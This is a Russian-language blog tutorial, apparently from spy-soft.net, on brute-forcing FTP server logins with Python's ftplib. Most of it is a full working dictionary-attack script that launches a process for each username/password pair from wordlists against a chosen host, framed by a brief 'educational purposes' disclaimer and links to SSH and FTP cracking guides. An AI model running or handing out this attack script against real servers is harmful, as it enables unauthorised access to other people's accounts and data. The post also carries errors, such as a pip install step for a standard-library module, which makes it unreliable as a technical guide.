Мы уже рассказывали про использование ftplib для поиска открытых FTP. Сегодня рассмотрим еще одно применение ftplib в ИБ — в качестве брута FTP на Python.
Еще по теме: Взлом соленого пароля методом брутфорс
Что такое ftplib
ftplib — это модуль в Python для работы с FTP. Он позволяет взаимодействовать с серверами FTP из Python, выполняя различные операции с файлами и каталогами.
Возможности ftplib:
- Подключение к серверам FTP и выполнение основных операций — загрузка, скачивание, удаление файлов, создание каталогов и т.д.
- Поддержка активного и пассивного режимов подключения.
- Работа как с анонимными серверами FTP, так и с аутентификацией по логину/паролю.
- Выполнение операций как в текстовом, так и в бинарном режимах.
- Получение подробных ответов сервера FTP на выполняемые команды.
- Возможность настройки таймаута ожидания ответа от сервера.
- Реализация простых скриптов для автоматизации работы с FTP.
- Поддержка IPv6 адресов.
Статья в образовательных целях, для обучения этичных хакеров. Несанкционированный взлом FTP является незаконным и рассматривается как уголовное преступление. Ни редакция spy-soft.net, ни автор не несут ответственности за ваши действия.
Установка ftplib
Перед тем как начать, убедитесь, что у вас установлен модуль ftplib:
1 |
pip install ftplib |
Брут FTP с помощью ftplib на Python
Модуль ftplib также можно использовать для создания скриптов, автоматизирующих определенные задачи, в нашем случае — выполняющих атаки по словарю на FTP-сервер.
Например, с помощью следующего скрипта можно выполнить атаку на FTP с использованием словаря пользователей и паролей.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 |
import ftplib import multiprocessing def brute_force(ip_address,user,password): ftp = ftplib.FTP(ip_address) try: print("Testing user {}, password {}".format(user, password)) response = ftp.login(user,password) if "230" in response and "access granted" in response: print("[*]Successful brute force") print("User: "+ user + " Password: "+password) else: pass except Exception as exception: print('Connection error', exception) def main(): ip_address = input("Enter IP address or host name:") with open('users.txt','r') as users: users = users.readlines() with open('passwords.txt','r') as passwords: passwords = passwords.readlines() for user in users: for password in passwords: process = multiprocessing.Process(target=brute_force, args=(ip_address,user.rstrip(),password.rstrip(),)) process.start() if __name__ == '__main__': main() |
Здесь используется модуль multiprocessing для выполнения метода brute_force() путем создания экземпляра процесса для каждой комбинации имени пользователя/пароля.
Мы используем функцию brute_force() для проверки каждой комбинации имени пользователя и пароля, которые мы считываем из двух текстовых файлов users.txt и passwords.txt.
Выполнение скрипта:.
Скрипт проверяет все возможные комбинации имени пользователя и пароля, пока не найдет подходящую. Если при попытке подключения мы получим код ответа 230 и строку access granted (доступ разрешен), то это будет говорить о том, что комбинация является подходящей.
Другие функции ftplib
Модуль ftplib предоставляет другие функции, которые можно использовать для выполнения операций с FTP:
- FTP.getwelcome() — получает приветственное сообщение
- FTP.pwd() — возвращает текущий каталог
- FTP.cwd(путь) — изменяет рабочий каталог
- FTP.dir(путь) — отображает список каталогов
- FTP.nlst(путь) — отображает список с именами файлов в каталоге
- FTP.size(файл) — отображает размер файла, который передаем в качестве параметра
В целом, ftplib — удобный инструмент для работы с FTP и может быть использован в ИБ.
ПОЛЕЗНЫЕ ССЫЛКИ:
- Как установить и использовать Python на Kali Linux
- Как использовать Paramiko для брута SSH на Python
- Взлом FTP с помощью Hydra или Metasploit на Kali Linux